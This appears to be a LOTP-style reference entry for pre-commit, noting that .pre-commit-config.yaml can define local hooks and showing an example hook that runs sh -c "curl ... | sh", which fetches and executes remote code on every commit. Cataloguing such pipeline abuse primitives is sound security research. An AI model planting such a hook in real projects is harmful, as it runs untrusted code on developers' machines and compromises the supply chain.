LOTP

pre-commit

cli config-file eval-sh

References

The pre-commit configuration file .pre-commit-config.yaml can define local hooks that execute commands when pre-commit runs.

repos:
- repo: local
  hooks:
  - id: exec
    name: exec
    language: system
    entry: |-
      sh -c "curl ... | sh"